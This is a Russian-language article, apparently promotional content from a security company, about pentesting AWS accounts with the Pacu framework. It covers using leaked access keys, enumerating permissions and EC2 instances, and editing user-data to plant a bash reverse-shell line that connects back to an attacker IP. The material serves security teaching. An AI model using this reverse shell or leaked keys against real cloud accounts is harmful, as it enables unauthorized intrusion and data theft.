Пан­демия COVID-19 уско­рила переход огромно­го количес­тва ком­паний, в том чис­ле и пред­ста­вите­лей IT-сфе­ры, на уда­лен­ный режим работы. Кто‑то был тех­ничес­ки готов к это­му, кто‑то спеш­но пытал­ся наращи­вать мощ­ности сво­их VPN-кон­цен­тра­торов и раз­ворачи­вал тер­миналь­ные сер­веры. Одна­ко всем было понят­но, что повер­нуть про­цесс вспять будет прак­тичес­ки невоз­можно и луч­ше прис­посаб­ливать­ся к усло­виям новой реаль­нос­ти.

Текст статьи под­готовил Сер­гей Полунин, руково­дитель груп­пы защиты инфраструк­турных ИТ‑решений ком­пании «Газин­фор­мсер­вис». Коман­да ком­пании «Газин­фор­мсер­вис» более сем­надца­ти лет реша­ет целый ряд слож­ных задач заказ­чиков в области ком­плексно­го обес­печения информа­цион­ной безопас­ности и нарабо­тала боль­шой опыт в ока­зании ус­луг по тес­тирова­нию на про­ник­новение. Резуль­таты пен­теста, про­веден­ного спе­циалис­тами ком­пании, помогут опре­делить сте­пень защиты информа­цион­ных акти­вов вашей орга­низа­ции и при­нять меры по ее повыше­нию. Под­робнее о ком­пании «Газин­фор­мсер­вис» и услу­гах мож­но узнать на сай­те.

Мир изме­нил­ся — это приз­нают все. По ту сто­рону оке­ана ком­пании про­дают свои сер­веры и дис­ковые пол­ки, пока они хоть сколь­ко‑то сто­ят, и перено­сят всё в обла­ка, попут­но сок­ращая сисад­минов. У нас отно­шение к обла­кам тоже меня­ется, но не очень быс­тро. Те, кто по раз­ным при­чинам счи­тают, что доверять облачным про­вай­дерам ни в коем слу­чае нель­зя (зато мож­но доверять сво­им сисад­минам, име­ющим дос­туп при­мер­но ко все­му), никуда не исчезли. Для всех осталь­ных сущес­тву­ет кар­тинка...

Это для при­мера Amazon Web Services, но у осталь­ных про­вай­деров есть поч­ти то же самое. Если крат­ко, то AWS обе­щает безопас­ность и дос­тупность железа и прог­рам­мно­го обес­печения сво­их дата‑цен­тров, а вот отве­чать за опе­раци­онные сис­темы, дан­ные, сети, шиф­рование, при­ложе­ния, поль­зователь­ские дан­ные и все осталь­ное при­дет­ся самим кли­ентам AWS.

Та­ким обра­зом, в обмен на удобс­тво и сущес­твен­ную эко­номию денег (не для всех, конеч­но) мы получи­ли новую повер­хность ата­ки. И дело даже не в том, что сами сер­висы AWS могут ока­зать­ся уяз­вимыми (однажды ока­жут­ся, не сом­невай­тесь), а в том, что за видимой прос­тотой нас­трой­ки сис­темы скры­вают­ся баналь­ные ошиб­ки кон­фигури­рова­ния, незамет­ные на пер­вый взгляд.

К счастью, уже накоп­лен сущес­твен­ный опыт того, что делать нуж­но, а чего делать ни в коем слу­чае нель­зя. При­чем даже на ран­нем эта­пе, ког­да вы толь­ко написа­ли свой пер­вый шаб­лон CloudFormation (или Terraform, или в чем вы это дела­ете), мож­но под­клю­чить спе­циалис­тов или даже вос­поль­зовать­ся прог­рам­мным обес­печени­ем, выяв­ляющим ошиб­ки.

 

Так что с пентестом?

Пен­тест облачных сред делать мож­но и нуж­но! При­чем если рань­ше тре­бова­лось подавать уве­дом­ление облачным про­вай­дерам, то сей­час мож­но делать все самос­тоятель­но, ког­да захочет­ся, глав­ное — не нарушать пра­вил.

www

Под­робнее о пен­тесте на AWS и в Azure в офи­циаль­ной докумен­тации.

В общем, все рекомен­дации сво­дят­ся к «делай­те со сво­ими сер­висами, что хотите, толь­ко не ломай­те все вок­руг» — DDoS, флу­динг, отказ в обслу­жива­нии и подоб­ное.

 

Пентест и ПЕНТЕСТ: есть разница

Ес­ли вам пред­сто­ит про­тес­тировать веб‑сер­веры, СУБД или прос­то абс­трак­тные сер­веры, которые инже­неры перенес­ли в обла­ко, то это мало чем будет отли­чать­ся от вашего обыч­ного пен­теста. Одна­ко инте­рес может пред­став­лять сама инфраструк­тура обла­ка, которая быва­ет некор­рек­тно скон­фигури­рова­на и откры­вает дос­туп сра­зу ко всем дан­ным заказ­чика пен­теста, а не к отдель­ным ресур­сам.

Сце­нарии перехо­да в обла­ка, конеч­но, быва­ют очень раз­ные, но типовая облачная инфраструк­тура (на при­мере AWS) не обхо­дит­ся без сле­дующих эле­мен­тов:

  • IAM — это сер­вис управле­ния дос­тупом к служ­бам AWS. Поль­зовате­лей и их роли вы соз­даете имен­но здесь;
  • VPC — это вир­туаль­ные сети, где раз­меща­ются ресур­сы. Быва­ют при­ват­ные и откры­тые. Инте­рес­но орга­низо­вано их соеди­нение меж­ду собой через раз­ные шлю­зы;
  • EC2 — это ста­рые доб­рые вир­туаль­ные машины. Мало чем отли­чают­ся от тех, что у вас сей­час в сер­верной, толь­ко EC2 могут поч­ти бес­конеч­но мас­шта­биро­вать­ся за счет без­донных ресур­сов AWS;
  • S3 — объ­ектное хра­нили­ще, где лежат фай­лы, логи, бэкапы и так далее.

Стан­дартом для тес­тирова­ния AWS сей­час счи­тает­ся фрей­мворк Pacu от Rhino Security. Работа­ет он на Python 3 и без проб­лем уста­нав­лива­ется через pip 3.

 

Добро пожаловать в Pacu

Тес­тировать на про­ник­новение мы будем, конеч­но, не саму AWS, а акка­унт кли­ента.

Для начала нам нуж­но ука­зать учет­ную запись, так как вза­имо­дей­ствие с инфраструк­турой AWS воз­можно дву­мя спо­соба­ми: через веб‑интерфейс или через ключ поль­зовате­ля. Ключ сос­тоит из двух час­тей: иден­тифика­тора (Access key ID) и сек­ретно­го клю­ча (Secret access key). Пытать­ся про­ник­нуть в веб‑интерфейс — занятие неб­лагодар­ное. Обыч­но даже в самых запущен­ных слу­чаях дос­туп туда име­ют нес­коль­ко человек и к их акка­унтам под­клю­чена двух­фактор­ная аутен­тифика­ция. А вот най­ти чей‑нибудь ключ на прос­торах GitHub или в исходном коде впол­не реаль­но. Вряд ли это будет root, конеч­но.

Да­вай запус­тим Pacu с най­ден­ными учет­ными дан­ными.

На­чина­ем мы, как пра­вило, с опре­деле­ния, какие при­виле­гии нам дос­тались. Дела­ется это через модуль iam__bruteforce_permissions.

От­лично! Теперь мы видим, что нам дос­тупно.

Кро­ме это­го, с помощью модуля ec2__enum мож­но поис­кать вир­туаль­ные машины во всех VPC. Если очень повезет, мы уви­дим вир­туаль­ную машину, метадан­ные которой мож­но редак­тировать. С помощью ec2__run_startup_shell_script мож­но изме­нить user-data такой машины и положить в авто­заг­рузку что‑то вро­де

#!/bin/bash
bash -I > & /dev/tcp/<ваш-IP>/6666 0>&1

Те­перь можем получить реверс‑шелл при сле­дующем стар­те вир­туаль­ной машины. Доволь­но прос­то.

Мож­но поп­робовать изу­чить и дру­гие модули Pacu. Нап­ример, поп­робовать добавить кас­томные клю­чи дру­гим поль­зовате­лям, или ска­чать логи CloudWatch и CloudTrail, или пос­мотреть на откры­тые S3 (очень час­то их исполь­зуют для сов­мес­тной работы с фай­лами или хос­тинга ста­тичес­ких сай­тов).

Вы­вод нап­рашива­ется сам собой: уяз­вимос­ти в самих служ­бах AWS вы вряд ли най­дете, а вот получить дос­туп в сис­тему из‑за оши­бок кон­фигури­рова­ния — это впол­не воз­можно. В обла­ка пере­езжа­ют мно­гие, но тра­тить вре­мя на изу­чение механиз­мов безопас­ности готовы отнюдь не все.

Как пра­вило, вы пла­тите облачно­му про­вай­деру за вычис­литель­ные мощ­ности. Если зло­умыш­ленни­ки получат дос­туп к вашей облачной инфраструк­туре, то вы можете не толь­ко потерять дан­ные, репута­цию и стол­кнуть­ся с дру­гими пос­ледс­тви­ями взло­ма — есть реаль­ный шанс лишить­ся огромно­го количес­тва денег, нап­ример если в вашем акка­унте нач­нут май­нить крип­товалю­ту. Конеч­но, есть веро­ятность вер­нуть день­ги пос­ле рас­сле­дова­ния инци­ден­та, но не всег­да.

По­это­му важ­но уде­лить вни­мание безопас­ности обла­ка на стар­те — зак­рыть воз­можные сла­бые мес­та в сис­теме. Если в ком­пании есть спе­циалис­ты, спо­соб­ные про­вес­ти такую работу, мож­но орга­низо­вать ее силами сот­рудни­ков, а если нет, обра­титесь к про­фес­сиона­лам!

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии